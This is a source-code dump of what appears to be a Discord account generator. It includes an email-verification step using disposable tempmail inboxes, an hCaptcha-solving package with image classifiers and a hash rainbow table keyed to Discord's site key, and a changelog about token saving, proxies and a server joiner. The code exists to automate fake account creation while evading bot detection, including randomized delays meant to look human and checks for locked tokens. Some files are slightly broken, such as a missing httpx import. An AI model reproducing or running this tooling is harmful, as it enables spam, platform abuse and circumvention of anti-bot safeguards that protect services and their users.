"mail.discord.com" in str(mail.sender): 209 | for word in mail.body.split(): 210 | if "https://click.discord.com" in word: 211 | self.email_link = word 212 | self.scrape_emails = False 213 | break 214 | self.email_link = self.email_link.replace("[", "").replace("]", "") 215 | 216 | self.logger.info("Waiting 10 seconds for a more realistic email-verify") 217 | await self.page.wait_for_timeout(random.randint(10000, 12000)) 218 | 219 | # Confirming the email by link 220 | await self.page.goto(self.email_link) 221 | 222 | try: 223 | await self.page.solve_hcaptcha() 224 | except: 225 | self.logger.info("No EmailCaptcha detected") 226 | 227 | # Waiting until new token is set 228 | while self.token == before_token: 229 | await self.page.wait_for_timeout(1000) 230 | 231 | is_locked = await Discord.is_locked(self) 232 | if is_locked: 233 | self.logger.error(f"Token {self.token} got locked whilst verifying the Email!") 234 | await self.close() 235 | return 236 | 237 | self.log_output() 238 | return True 239 | 240 | -------------------------------------------------------------------------------- /Version 2.3/modules/tempmail.py: -------------------------------------------------------------------------------- 1 | # source: https://github.com/tempmail-lol/api-python/tree/main/TempMail 2 | import json 3 | import random 4 | 5 | import httpx 6 | 7 | DOMAINS = ["gmailb.tk", "gmailb.ml", "gmailb.ga"] 8 | 9 | 10 | class TempMail: 11 | global BASE_URL 12 | BASE_URL = "https://api.tempmail.lol" 13 | 14 | """ 15 | Make a request to the tempmail.lol api with a given endpoint 16 | The content of the request is a json string and is returned as a string object 17 | """ 18 | 19 | def makeHTTPRequest(endpoint): 20 | headers = { 21 | "User-Agent": "TempMailPythonAPI/1.0", 22 | "Accept": "application/json" 23 | } 24 | try: 25 | connection = httpx.get(BASE_URL + endpoint, headers=headers) 26 | if connection.status_code >= 400: 27 | raise Exception("HTTP Error: " + str(connection.status_code)) 28 | except Exception as e: 29 | print(e) 30 | return None 31 | 32 | response = connection.text 33 | 34 | return response 35 | 36 | """ 37 | GenerateInbox will generate an inbox with an address and a token 38 | and returns an Inbox object 39 | > rush = False will generate a normal inbox with no rush (https://tempmail.lol/news/2022/08/03/introducing-rush-mode-for-tempmail/) 40 | """ 41 | def generateInbox(rush=False): 42 | try: 43 | random_domain = random.choice(DOMAINS) 44 | s = TempMail.makeHTTPRequest(f"/generate/{random_domain}") 45 | except: 46 | print("Website responded with: " + s) 47 | data = json.loads(s) 48 | return Inbox(data["address"], data["token"]) 49 | 50 | """ 51 | getEmail gets the emails from an inbox object 52 | and returns a list of Email objects 53 | """ 54 | def getEmails(inbox): 55 | s = TempMail.makeHTTPRequest("/auth/" + inbox.token) 56 | data = json.loads(s) 57 | 58 | # Raise an exception if the token is invalid 59 | if "token" in s: 60 | if data["token"] == "invalid": 61 | raise Exception("Invalid Token") 62 | 63 | # if no emails are found, return an empty list 64 | # else return a list of email 65 | if data["email"] == None: 66 | return ["None"] 67 | else: 68 | emails = [] 69 | for email in data["email"]: 70 | emails.append(Email( 71 | email["from"], email["to"], email["subject"], email["body"], email["html"], email["date"])) 72 | return emails 73 | 74 | class Email: 75 | def __init__(self, sender, recipient, subject, body, html, date): 76 | # make the propertys immutable using @property 77 | self._sender = sender 78 | self._recipient = recipient 79 | self._subject = subject 80 | self._body = body 81 | self._html = html 82 | self._date = date 83 | 84 | @property 85 | def sender(self): 86 | return self._sender 87 | 88 | @property 89 | def recipient(self): 90 | return self._recipient 91 | 92 | @property 93 | def subject(self): 94 | return self._subject 95 | 96 | @property 97 | def body(self): 98 | return self._body 99 | 100 | @property 101 | def html(self): 102 | return self._html 103 | 104 | @property 105 | def date(self): 106 | return self._date 107 | 108 | def __repr__(self): 109 | return ("Email (sender={}, recipient={}, subject={}, body={}, html={}, date={} )" 110 | .format(self.sender, self.recipient, self.subject, self.body, self.html, self.date)) 111 | 112 | class Inbox: 113 | def __init__(self, address, token): 114 | # make the propertys immutable using @property 115 | self._address = address 116 | self._token = token 117 | 118 | @property 119 | def address(self): 120 | return self._address 121 | 122 | @property 123 | def token(self): 124 | return self._token 125 | 126 | def __repr__(self): 127 | return ("Inbox (address={}, token={} )" 128 | .format(self.address, self.token)) -------------------------------------------------------------------------------- /Version 2.3/requirements.txt: -------------------------------------------------------------------------------- 1 | botright 2 | httpx~=0.23.0 3 | validators~=0.20.0 4 | -------------------------------------------------------------------------------- /changelog.md: -------------------------------------------------------------------------------- 1 | # Changelog 2 | 3 | Every new change will be logged 4 | 5 | ## v1.0.6 6 | ``` 7 | + Updated AI to support newest Tasks 8 | + Updated Avatar Function (should work now ig lol) 9 | + New IP-API (hopefully will fix ProxyIssues) 10 | + Added ServerJoiner (Wasnt tested enough to say its 100% stable) 11 | 12 | + Updated InviteLink in ReadMe 13 | 14 | ``` 15 | 16 | ## v1.0.5 17 | ``` 18 | + Fixxed To Low Password Security 19 | + Fixxed self.person error 20 | + Changed IP Provider (Hopefully Fixxes Proxy Errors) 21 | + Rewrote ProxyCheck Invalid Error 22 | 23 | ``` 24 | 25 | ## v1.0.4 26 | ``` 27 | + Tokens will now be saved even when the gen crashes 28 | + OutputFormat can now be set 29 | + Passwords now dont have ":" in them anymore (Messed up output format) 30 | + Delete verify=False in requests (caused warnings) 31 | + Fixxed Issue that NormalGenerator would save tempmail even when EmailVerification was disabled. 32 | 33 | ``` 34 | 35 | ## v1.0.3 36 | ``` 37 | + Raised Timeouts to allow slow proxies to work properly 38 | + Changed usage of TempmailAPI from package to local file 39 | + Updated AI to check images three times for any valid images 40 | + Replaced Httpx with Requests 41 | 42 | ``` 43 | 44 | ## v1.0.2 45 | ``` 46 | + Updated Model Downloader (httpx doesnt work) 47 | --> Now, Models dont have to be given in the repo 48 | + Updated Proxy Class (Splitter) and general proxy-object handling 49 | 50 | ``` 51 | 52 | ## v1.0.1 53 | ``` 54 | + Updated various Proxy Handlers 55 | + Updated MailVerifier to wait until the new token is received 56 | + Updated smooth_out_mouse() to fix https://github.com/Vinyzu/DiscordGenerator/issues/3 by adding an extra point 57 | + Updated DISCUM Client to reduce code amount and allow proxies to work 58 | 59 | ``` 60 | 61 | ## v1.0 62 | ``` 63 | + First Commit 64 | ``` -------------------------------------------------------------------------------- /config.json: -------------------------------------------------------------------------------- 1 | { 2 | "EMAIL STUFF": { 3 | "REAL EMAIL ADDRESS": "exampleuser@gmail.com", 4 | "CUSTOM DOMAINS": ["example.com"], 5 | 6 | "IMAP HOST": "imap.gmail.com", 7 | "IMAP PORT": "993", 8 | "IMAP USERNAME": "exampleuser", 9 | "IMAP APP PASSWORD": "example-app-password" 10 | } 11 | } 12 | -------------------------------------------------------------------------------- /contributing.md: -------------------------------------------------------------------------------- 1 | Contributing 2 | ============ 3 | If you want to contribute to a project and make it better, your help is very welcome. Contributing is also a great way to learn more about social coding on Github, new technologies and and their ecosystems and how to make constructive, helpful bug reports, feature requests and the noblest of all contributions: a good, clean pull request. 4 | 5 | ### How to make a clean pull request 6 | 7 | Look for a project's contribution instructions. If there are any, follow them. 8 | 9 | - Create a personal fork of the project on Github. 10 | - Clone the fork on your local machine. Your remote repo on Github is called `origin`. 11 | - Add the original repository as a remote called `upstream`. 12 | - If you created your fork a while ago be sure to pull upstream changes into your local repository. 13 | - Create a new branch to work on! Branch from `develop` if it exists, else from `master`. 14 | - Implement/fix your feature, comment your code. 15 | - Follow the code style of the project, including indentation. 16 | - If the project has tests run them! 17 | - Write or adapt tests as needed. 18 | - Add or change the documentation as needed. 19 | - Squash your commits into a single commit with git's [interactive rebase](https://help.github.com/articles/interactive-rebase). Create a new branch if necessary. 20 | - Push your branch to your fork on Github, the remote `origin`. 21 | - From your fork open a pull request in the correct branch. Target the project's `develop` branch if there is one, else go for `master`! 22 | - … 23 | - If the maintainer requests further changes just push them to your branch. The PR will be updated automatically. 24 | - Once the pull request is approved and merged you can pull the changes from `upstream` to your local repo and delete 25 | your extra branch(es). 26 | 27 | And last but not least: Always write your commit messages in the present tense. Your commit message should describe what the commit, when applied, does to the code – not what you did to the code. 28 | 29 | `Source: https://github.com/MarcDiethelm/contributing` -------------------------------------------------------------------------------- /hcaptcha_challenger/__init__.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # Time : 2022/2/15 17:43 3 | # Author : QIN2DIM 4 | # Github : https://github.com/QIN2DIM 5 | # Description: 6 | from .core import ArmorCaptcha 7 | from .settings import DIR_CHALLENGE, DIR_MODEL, PATH_OBJECTS_YAML 8 | from .solutions.resnet import PluggableONNXModels 9 | from .solutions.sk_recognition import SKRecognition 10 | from .solutions.yolo import YOLO 11 | 12 | __all__ = ["SKRecognition", "YOLO", "ArmorCaptcha", "PluggableONNXModels", 13 | "DIR_CHALLENGE", "DIR_MODEL", "PATH_OBJECTS_YAML"] 14 | -------------------------------------------------------------------------------- /hcaptcha_challenger/core.py: -------------------------------------------------------------------------------- 1 | from typing import Optional 2 | 3 | from .exceptions import ChallengeLangException 4 | from .solutions import resnet, sk_recognition, yolo 5 | 6 | 7 | class ArmorCaptcha: 8 | """hCAPTCHA challenge drive control""" 9 | 10 | label_alias = { 11 | "zh": { 12 | "自行车": "bicycle", 13 | "火车": "train", 14 | "卡车": "truck", 15 | "公交车": "bus", 16 | "巴士": "bus", 17 | "飞机": "airplane", 18 | "一条船": "boat", 19 | "船": "boat", 20 | "摩托车": "motorcycle", 21 | "垂直河流": "vertical river", 22 | "天空中向左飞行的飞机": "airplane in the sky flying left", 23 | "请选择天空中所有向右飞行的飞机": "airplanes in the sky that are flying to the right", 24 | "汽车": "car", 25 | "大象": "elephant", 26 | "鸟": "bird", 27 | "狗": "dog", 28 | "犬科动物": "dog", 29 | "一匹马": "horse", 30 | "长颈鹿": "giraffe", 31 | }, 32 | "en": { 33 | "airplane": "airplane", 34 | "motorbus": "bus", 35 | "bus": "bus", 36 | "truck": "truck", 37 | "motorcycle": "motorcycle", 38 | "boat": "boat", 39 | "bicycle": "bicycle", 40 | "train": "train", 41 | "vertical river": "vertical river", 42 | "airplane in the sky flying left": "airplane in the sky flying left", 43 | "Please select all airplanes in the sky that are flying to the right": "airplanes in the sky that are flying to the right", 44 | "car": "car", 45 | "elephant": "elephant", 46 | "bird": "bird", 47 | "dog": "dog", 48 | "canine": "dog", 49 | "horse": "horse", 50 | "giraffe": "giraffe", 51 | }, 52 | } 53 | 54 | BAD_CODE = { 55 | "а": "a", 56 | "е": "e", 57 | "e": "e", 58 | "i": "i", 59 | "і": "i", 60 | "ο": "o", 61 | "с": "c", 62 | "ԁ": "d", 63 | "ѕ": "s", 64 | } 65 | 66 | HOOK_CHALLENGE = "//iframe[contains(@title,'content')]" 67 | 68 | # Challenge Passed by following the expected 69 | CHALLENGE_SUCCESS = "success" 70 | # Continue the challenge 71 | CHALLENGE_CONTINUE = "continue" 72 | # Failure of the challenge as expected 73 | CHALLENGE_CRASH = "crash" 74 | # Your proxy IP may have been flagged 75 | CHALLENGE_RETRY = "retry" 76 | # Skip the specified label as expected 77 | CHALLENGE_REFRESH = "refresh" 78 | # (New Challenge) Types of challenges not yet scheduled 79 | CHALLENGE_BACKCALL = "backcall" 80 | 81 | def __init__( 82 | self, 83 | dir_workspace: str = None, 84 | lang: Optional[str] = "zh", 85 | dir_model: str = None, 86 | onnx_prefix: str = None, 87 | screenshot: Optional[bool] = False, 88 | debug=False, 89 | path_objects_yaml: Optional[str] = None, 90 | path_rainbow_yaml: Optional[str] = None, 91 | ): 92 | if not isinstance(lang, str) or not self.label_alias.get(lang): 93 | raise ChallengeLangException( 94 | f"Challenge language [{lang}] not yet supported." 95 | f" -lang={list(self.label_alias.keys())}" 96 | ) 97 | 98 | self.action_name = "ArmorCaptcha" 99 | self.debug = debug 100 | self.dir_model = dir_model 101 | self.onnx_prefix = onnx_prefix 102 | self.screenshot = screenshot 103 | self.path_objects_yaml = path_objects_yaml 104 | self.path_rainbow_yaml = path_rainbow_yaml 105 | 106 | # 存储挑战图片的目录 107 | self.runtime_workspace = "" 108 | # 挑战截图存储路径 109 | self.path_screenshot = "" 110 | # 博大精深！ 111 | self.lang = lang 112 | self.label_alias: dict = self.label_alias[lang] 113 | 114 | # Store the `element locator` of challenge images {挑战图片1: locator1, ...} 115 | self.alias2locator = {} 116 | # Store the `download link` of the challenge image {挑战图片1: url1, ...} 117 | self.alias2url = {} 118 | # Store the `directory` of challenge image {挑战图片1: "/images/挑战图片1.png", ...} 119 | self.alias2path = {} 120 | # 图像标签 121 | self.label = "" 122 | self.prompt = "" 123 | # 运行缓存 124 | self.dir_workspace = dir_workspace if dir_workspace else "." 125 | 126 | self.threat = 0 127 | 128 | # Automatic registration 129 | self.pom_handler = resnet.PluggableONNXModels(self.path_objects_yaml) 130 | self.label_alias.update(self.pom_handler.label_alias[lang]) 131 | self.pluggable_onnx_models = self.pom_handler.overload( 132 | self.dir_model, path_rainbow=self.path_rainbow_yaml 133 | ) 134 | self.yolo_model = yolo.YOLO(self.dir_model, self.onnx_prefix) 135 | 136 | def switch_solution(self): 137 | """Optimizing solutions based on different challenge labels""" 138 | sk_solution = { 139 | "vertical river": sk_recognition.VerticalRiverRecognition, 140 | "airplane in the sky flying left": sk_recognition.LeftPlaneRecognition, 141 | "airplanes in the sky that are flying to the right": sk_recognition.RightPlaneRecognition, 142 | } 143 | 144 | label_alias = self.label_alias.get(self.label) 145 | 146 | # Select ResNet ONNX model 147 | if self.pluggable_onnx_models.get(label_alias): 148 | return self.pluggable_onnx_models[label_alias] 149 | # Select SK-Image method 150 | if sk_solution.get(label_alias): 151 | return sk_solution[label_alias](self.path_rainbow_yaml) 152 | # Select YOLO ONNX model 153 | return self.yolo_model 154 | -------------------------------------------------------------------------------- /hcaptcha_challenger/exceptions.py: -------------------------------------------------------------------------------- 1 | from typing import Optional, Sequence 2 | 3 | 4 | class ArmorException(Exception): 5 | """Armor module basic exception""" 6 | 7 | def __init__(self, msg: Optional[str] = None, stacktrace: Optional[Sequence[str]] = None): 8 | self.msg = msg 9 | self.stacktrace = stacktrace 10 | super().__init__() 11 | 12 | def __str__(self) -> str: 13 | exception_msg = f"Message: {self.msg}\n" 14 | if self.stacktrace: 15 | stacktrace = "\n".join(self.stacktrace) 16 | exception_msg += f"Stacktrace:\n{stacktrace}" 17 | return exception_msg 18 | 19 | 20 | class ChallengeException(ArmorException): 21 | """hCAPTCHA Challenge basic exceptions""" 22 | 23 | 24 | class ChallengeLangException(ChallengeException): 25 | """指定了不兼容的挑战语言""" 26 | 27 | 28 | class ChallengePassed(ChallengeException): 29 | """挑战未弹出""" 30 | 31 | 32 | class LoadImageTimeout(ChallengeException): 33 | """加载挑战图片超时""" 34 | 35 | 36 | class ChallengeTimeout(ChallengeException): 37 | """人机挑战超时 CPU能力太弱无法在规定时间内完成挑战""" 38 | 39 | 40 | class LabelNotFoundException(ChallengeException): 41 | """获取到空的图像标签名""" 42 | 43 | 44 | class AssertTimeout(ChallengeTimeout): 45 | """断言超时""" 46 | -------------------------------------------------------------------------------- /hcaptcha_challenger/objects.yaml: -------------------------------------------------------------------------------- 1 | # Pluggable ONNX model 2 | # onnx_prefix: 3 | # zh: ["zh_prompt_label"] 4 | # en: ["en_prompt_label"] 5 | label_alias: 6 | seaplane: 7 | zh: [ "水上飞机" ] 8 | en: [ "seaplane" ] 9 | bedroom: 10 | zh: [ "卧室" ] 11 | en: [ "bedroom" ] 12 | bridge: 13 | zh: [ "桥梁" ] 14 | en: [ "bridge" ] 15 | domestic_cat: 16 | zh: [ "家猫", "猫" ] 17 | en: [ "domestic cat", "cat" ] 18 | living_room: 19 | zh: [ "客厅" ] 20 | en: [ "living room" ] 21 | conference_room: 22 | zh: [ "会议室" ] 23 | en: [ "conference room" ] 24 | elephant_made_of_clouds: 25 | zh: [ "由云制成的大象" ] 26 | en: [ "elephant made of clouds" ] 27 | parrot: 28 | zh: [ "鹦鹉" ] 29 | en: [ "parrot" ] 30 | 31 | lion: 32 | zh: [ "狮子" ] 33 | en: [ "lion" ] 34 | lion_with_mane_on_its_neck: 35 | zh: [ "一只脖子上有鬃毛的狮子", "雄狮" ] 36 | en: [ "lion with mane on its neck", "male lion" ] 37 | lion_with_open_eyes: 38 | zh: [ "睁开眼睛的狮子" ] 39 | en: [ "lion with open eyes" ] 40 | lion_with_closed_eyes: 41 | zh: [ "一只闭着眼睛的狮子" ] 42 | en: [ "lion with closed eyes" ] 43 | lion_with_an_open_mouth: 44 | zh: [ "张开嘴的狮子" ] 45 | en: [ "lion with an open mouth" ] 46 | lion_with_a_closed_mouth: 47 | zh: [ "一只闭着嘴的狮子" ] 48 | en: [ "lion with a closed mouth" ] 49 | female_lion: 50 | zh: [ "雌狮" ] 51 | en: [ "female lion" ] 52 | 53 | horse_made_of_clouds: 54 | zh: [ "一匹由云制成的马" ] 55 | en: [ "horse made of clouds" ] 56 | horse_facing_to_the_left: 57 | zh: [ "朝左马" ] 58 | en: [ "horse facing to the left" ] 59 | horse_facing_to_the_right: 60 | zh: [ "面向右侧的马" ] 61 | en: [ "horse facing to the right" ] 62 | horse_with_white_legs: 63 | zh: [ "白腿马" ] 64 | en: [ "horse with white legs" ] 65 | horse_walking_or_running: 66 | zh: [ "马在行走或奔跑","马步行或奔跑" ] 67 | en: [ "horse walking or running" ] 68 | 69 | smiling_dog: 70 | zh: [ "微笑狗" ] 71 | en: [ "smiling dog" ] 72 | dog_with_a_collar_on_its_neck: 73 | zh: [ "一条脖子上有项圈的狗" ] 74 | en: [ "dog with a collar on its neck" ] 75 | 76 | kitten: 77 | zh: [ "小猫", "一只小猫" ] 78 | en: [ "kitten", "baby cat" ] 79 | adult_cat: 80 | zh: [ "成年猫" ] 81 | en: [ "adult cat" ] 82 | cat_with_long_hair: 83 | zh: [ "长毛猫", "厚毛猫" ] 84 | en: [ "cat with long hair", "cat with thick fur" ] 85 | cat_with_short_hair: 86 | zh: [ "短毛猫" ] 87 | en: [ "cat with short hair" ] 88 | 89 | bird_flying: 90 | zh: [ "一只飞翔的鸟" ] 91 | en: [ "bird flying" ] 92 | bird_on_a_branch: 93 | zh: [ "树枝上的鸟" ] 94 | en: [ "bird on a branch" ] 95 | 96 | broken_glass_bottle: 97 | zh: [ "破碎玻璃瓶" ] 98 | en: [ "broken glass bottle" ] 99 | whole_glass_bottle: 100 | zh: [ "整个玻璃瓶" ] 101 | en: [ "whole glass bottle" ] 102 | porcelain_teacup: 103 | zh: [ "类似瓷器设" ] 104 | en: [ "teacup with similar porcelain design pattern" ] 105 | 106 | fish_jumping_over_the_water: 107 | zh: [ "鱼跃过水面" ] 108 | en: [ "fish jumping over the water" ] 109 | fish_underwater: 110 | zh: [ "水下鱼" ] 111 | en: [ "fish underwater" ] 112 | 113 | dog_shaped_cookie: 114 | zh: [ "狗形饼干" ] 115 | en: [ "dog-shaped cookie" ] 116 | cat_shaped_cookie: 117 | zh: [ "猫形饼干" ] 118 | en: [ "cat-shaped cookie" ] 119 | 120 | flower_in_a_vase: 121 | zh: [ "花瓶中的花" ] 122 | en: [ "flower in a vase" ] 123 | plant_hanging_from_the_ceiling: 124 | zh: [ "悬挂在天花板上的植物" ] 125 | en: [ "plant hanging from the ceiling" ] 126 | plant_on_the_table: 127 | zh: [ "植物在桌上" ] 128 | en: [ "plant on the table" ] 129 | -------------------------------------------------------------------------------- /hcaptcha_challenger/settings.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # Time : 2022/2/15 17:42 3 | # Author : QIN2DIM 4 | # Github : https://github.com/QIN2DIM 5 | # Description: 6 | import os 7 | from os.path import dirname, join 8 | 9 | HCAPTCHA_DEMO_API = "https://accounts.hcaptcha.com/demo?sitekey={}" 10 | _SITE_KEYS = { 11 | "epic": "91e4137f-95af-4bc9-97af-cdcedce21c8c", 12 | "hcaptcha": "00000000-0000-0000-0000-000000000000", 13 | "discord": "f5561ba9-8f1e-40ca-9b5b-a0b3f719ef34", 14 | "oracle": "d857545c-9806-4f9e-8e9d-327f565aeb46", 15 | "publisher": "c86d730b-300a-444c-a8c5-5312e7a93628", 16 | } 17 | 18 | # https://www.wappalyzer.com/technologies/security/hcaptcha/ 19 | HCAPTCHA_DEMO_SITES = [ 20 | # [√] label: Tags follow point-in-time changes 21 | HCAPTCHA_DEMO_API.format(_SITE_KEYS["publisher"]), 22 | # [√] label: `vertical river` 23 | HCAPTCHA_DEMO_API.format(_SITE_KEYS["oracle"]), 24 | # [x] label: `airplane in the sky flying left` 25 | HCAPTCHA_DEMO_API.format(_SITE_KEYS["discord"]), 26 | # [√] label: hcaptcha-challenger 27 | HCAPTCHA_DEMO_API.format(_SITE_KEYS["hcaptcha"]), 28 | ] 29 | 30 | # --------------------------------------------------- 31 | # [√]Lock the project directory 32 | # --------------------------------------------------- 33 | # Source root directory 34 | PROJECT_ROOT = dirname(dirname(__file__)) 35 | 36 | # File database directory 37 | PROJECT_DATABASE = join(PROJECT_ROOT, "database") 38 | 39 | # The storage directory of the YOLO object detection model 40 | DIR_MODEL = join(PROJECT_ROOT, "model") 41 | 42 | PATH_RAINBOW_YAML = join(DIR_MODEL, "rainbow.yaml") 43 | 44 | # Run cache directory 45 | DIR_TEMP_CACHE = join(PROJECT_DATABASE, "temp_cache") 46 | 47 | # Directory for challenge images 48 | DIR_CHALLENGE = join(DIR_TEMP_CACHE, "_challenge") 49 | 50 | # Service log directory 51 | DIR_LOG = join(PROJECT_DATABASE, "logs") 52 | 53 | # Settings of pluggable ONNX models 54 | HCAPTCHA_ROOT = dirname(__file__) 55 | 56 | PATH_OBJECTS_YAML = join(HCAPTCHA_ROOT, "objects.yaml") 57 | -------------------------------------------------------------------------------- /hcaptcha_challenger/solutions/__init__.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # Time : 2022/3/2 0:52 3 | # Author : QIN2DIM 4 | # Github : https://github.com/QIN2DIM 5 | # Description: 6 | -------------------------------------------------------------------------------- /hcaptcha_challenger/solutions/kernel.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # Time : 2022/4/30 22:34 3 | # Author : QIN2DIM 4 | # Github : https://github.com/QIN2DIM 5 | # Description: 6 | import hashlib 7 | import os 8 | from typing import Optional 9 | 10 | import requests 11 | import yaml 12 | 13 | 14 | class ChallengeStyle: 15 | WATERMARK = 100 16 | GENERAL = 128 17 | GAN = 144 18 | 19 | 20 | class Solutions: 21 | RAINBOW_TABLE = {} 22 | 23 | def __init__(self, name: str, path_rainbow: str = None): 24 | self.path_rainbow = "rainbow.yaml" if path_rainbow is None else path_rainbow 25 | self.flag = name 26 | self.rainbow_table = self.build_rainbow(path_rainbow=self.path_rainbow) 27 | 28 | @staticmethod 29 | def sync_rainbow(path_rainbow: str, convert: Optional[bool] = False): 30 | """ 31 | 同步强化彩虹表 32 | :param path_rainbow: 33 | :param convert: 强制同步 34 | :return: 35 | """ 36 | rainbow_obj = { 37 | "name": "rainbow_table", 38 | "path": path_rainbow, 39 | "src": "https://github.com/QIN2DIM/hcaptcha-challenger/releases/download/model/rainbow.yaml", 40 | } 41 | 42 | if convert or not os.path.exists(rainbow_obj["path"]): 43 | print( 44 | f"Downloading {rainbow_obj['name']} from {rainbow_obj['src']}") 45 | with httpx.stream(method="GET", url=rainbow_obj["src"]) as response, open( 46 | rainbow_obj["path"], "wb" 47 | ) as file: 48 | for chunk in response.iter_content(chunk_size=1024): 49 | if chunk: 50 | file.write(chunk) 51 | 52 | @staticmethod 53 | def build_rainbow(path_rainbow: str) -> Optional[dict]: 54 | """ 55 | 56 | :param path_rainbow: 57 | :return: 58 | """ 59 | if Solutions.RAINBOW_TABLE: 60 | return Solutions.RAINBOW_TABLE 61 | 62 | if os.path.exists(path_rainbow): 63 | with open(path_rainbow, "r", encoding="utf8") as file: 64 | stream = yaml.safe_load(file) 65 | Solutions.RAINBOW_TABLE = stream if isinstance( 66 | stream, dict) else {} 67 | 68 | return Solutions.RAINBOW_TABLE 69 | 70 | def match_rainbow(self, img_stream: bytes, rainbow_key: str) -> Optional[bool]: 71 | """ 72 | 73 | :param img_stream: 74 | :param rainbow_key: 75 | :return: 76 | """ 77 | try: 78 | if self.rainbow_table[rainbow_key]["yes"].get(hashlib.md5(img_stream).hexdigest()): 79 | return True 80 | if self.rainbow_table[rainbow_key]["bad"].get(hashlib.md5(img_stream).hexdigest()): 81 | return False 82 | except KeyError: 83 | pass 84 | return None 85 | 86 | @staticmethod 87 | def download_model_( 88 | dir_model, path_model, model_src, model_name, upgrade: Optional[bool] = None 89 | ): 90 | """Download the de-stylized binary classification model""" 91 | upgrade = bool(upgrade) 92 | 93 | os.makedirs(dir_model, exist_ok=True) 94 | 95 | if os.path.exists(path_model) and not upgrade: 96 | return 97 | 98 | if not model_src.lower().startswith("http"): 99 | raise ValueError from None 100 | 101 | print(f"Downloading {model_name} from {model_src}") 102 | with requests.get(model_src, stream=True) as response, open(path_model, "wb") as file: 103 | for chunk in response.iter_content(chunk_size=1024): 104 | if chunk: 105 | file.write(chunk) 106 | 107 | def solution(self, img_stream, **kwargs) -> bool: 108 | """Implementation process of solution""" 109 | raise NotImplementedError 110 | 111 | def solution_dev(self, src_dir: str, **kwargs): 112 | if not os.path.exists(src_dir): 113 | return 114 | _suffix = ".png" 115 | for _prefix, _, files in os.walk(src_dir): 116 | for filename in files: 117 | if not filename.endswith(_suffix): 118 | continue 119 | path_img = os.path.join(_prefix, filename) 120 | with open(path_img, "rb") as file: 121 | yield path_img, self.solution(file.read(), **kwargs) 122 | -------------------------------------------------------------------------------- /hcaptcha_challenger/solutions/resnet.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # Time : 2022/4/30 17:00 3 | # Author : Bingjie Yan 4 | # Github : https://github.com/beiyuouo 5 | # Description: 6 | import os 7 | import warnings 8 | from os import PathLike 9 | from typing import List, Callable, Union, Optional, Dict 10 | 11 | import cv2 12 | import numpy as np 13 | import yaml 14 | from scipy.cluster.vq import kmeans2 15 | 16 | from .kernel import ChallengeStyle 17 | from .kernel import Solutions 18 | 19 | warnings.filterwarnings("ignore", category=UserWarning) 20 | 21 | 22 | class ResNetFactory(Solutions): 23 | def __init__(self, _onnx_prefix, _name, _dir_model: str, path_rainbow=None): 24 | """ 25 | 26 | :param _name: 日志打印显示的标记 27 | :param _dir_model: 模型所在的本地目录 28 | :param _onnx_prefix: 模型文件名，远程仓库文件和本地的一致。也用于拼接下载链接，因此该参数不允许用户自定义， 29 | 仅支持在范围内选择。 30 | :param path_rainbow: 彩虹表本地路径，可选。 31 | """ 32 | super().__init__(_name, path_rainbow=path_rainbow) 33 | self.dir_model = _dir_model 34 | self.onnx_model = { 35 | "name": _name, 36 | "path": os.path.join(_dir_model, f"{_onnx_prefix}.onnx"), 37 | "src": f"https://github.com/QIN2DIM/hcaptcha-challenger/releases/download/model/{_onnx_prefix}.onnx", 38 | } 39 | 40 | self.download_model() 41 | self.net = cv2.dnn.readNetFromONNX(self.onnx_model["path"]) 42 | 43 | def download_model(self, upgrade: Optional[bool] = None): 44 | """Download the ResNet ONNX classification model""" 45 | Solutions.download_model_( 46 | dir_model=self.dir_model, 47 | path_model=self.onnx_model["path"], 48 | model_src=self.onnx_model["src"], 49 | model_name=self.onnx_model["name"], 50 | upgrade=upgrade, 51 | ) 52 | 53 | def classifier( 54 | self, img_stream, rainbow_key, feature_filters: Union[Callable, List[Callable]] = None 55 | ): 56 | match_output = self.match_rainbow(img_stream, rainbow_key) 57 | if match_output is not None: 58 | return match_output 59 | 60 | img_arr = np.frombuffer(img_stream, np.uint8) 61 | img = cv2.imdecode(img_arr, flags=1) 62 | 63 | # fixme: dup-code 64 | if img.shape[0] == ChallengeStyle.WATERMARK: 65 | img = cv2.fastNlMeansDenoisingColored(img, None, 10, 10, 7, 21) 66 | 67 | if feature_filters is not None: 68 | if not isinstance(feature_filters, list): 69 | feature_filters = [feature_filters] 70 | for tnt in feature_filters: 71 | if not tnt(img): 72 | return False 73 | 74 | img = cv2.resize(img, (64, 64)) 75 | blob = cv2.dnn.blobFromImage(img, 1 / 255.0, (64, 64), (0, 0, 0), swapRB=True, crop=False) 76 | 77 | self.net.setInput(blob) 78 | out = self.net.forward() 79 | 80 | if not np.argmax(out, axis=1)[0]: 81 | return True 82 | return False 83 | 84 | def solution(self, img_stream, **kwargs) -> bool: 85 | """Implementation process of solution""" 86 | 87 | 88 | class FingersOfTheGolderOrder(ResNetFactory): 89 | """Res Net model factory, used to produce abstract model call interface.""" 90 | 91 | def __init__(self, onnx_prefix: str, dir_model: str, path_rainbow=None): 92 | self.rainbow_key = onnx_prefix 93 | super().__init__(onnx_prefix, f"{onnx_prefix}(ResNet)_model", dir_model, path_rainbow) 94 | 95 | def solution(self, img_stream, **kwargs) -> bool: 96 | return self.classifier(img_stream, self.rainbow_key, feature_filters=None) 97 | 98 | 99 | class ElephantsDrawnWithLeaves(ResNetFactory): 100 | """Handle challenge 「Please select all the elephants drawn with leaves」""" 101 | 102 | def __init__(self, dir_model, path_rainbow=None): 103 | _onnx_prefix = "elephants_drawn_with_leaves" 104 | self.rainbow_key = _onnx_prefix.replace("_", " ") 105 | super().__init__( 106 | _onnx_prefix, f"{_onnx_prefix}(de-stylized)_model", dir_model, path_rainbow 107 | ) 108 | 109 | @staticmethod 110 | def is_drawn_with_leaves(img) -> bool: 111 | img = np.array(img) 112 | 113 | img = img.reshape((img.shape[0] * img.shape[1], img.shape[2])).astype(np.float64) 114 | centroid, label = kmeans2(img, k=3) 115 | 116 | green_centroid = np.array([0.0, 255.0, 0.0]) 117 | 118 | min_dis = np.inf 119 | for i, _ in enumerate(centroid): 120 | min_dis = min(min_dis, np.linalg.norm(centroid[i] - green_centroid)) 121 | 122 | if min_dis < 200: 123 | return True 124 | return False 125 | 126 | def solution(self, img_stream, **kwargs) -> bool: 127 | return self.classifier( 128 | img_stream, self.rainbow_key, feature_filters=self.is_drawn_with_leaves 129 | ) 130 | 131 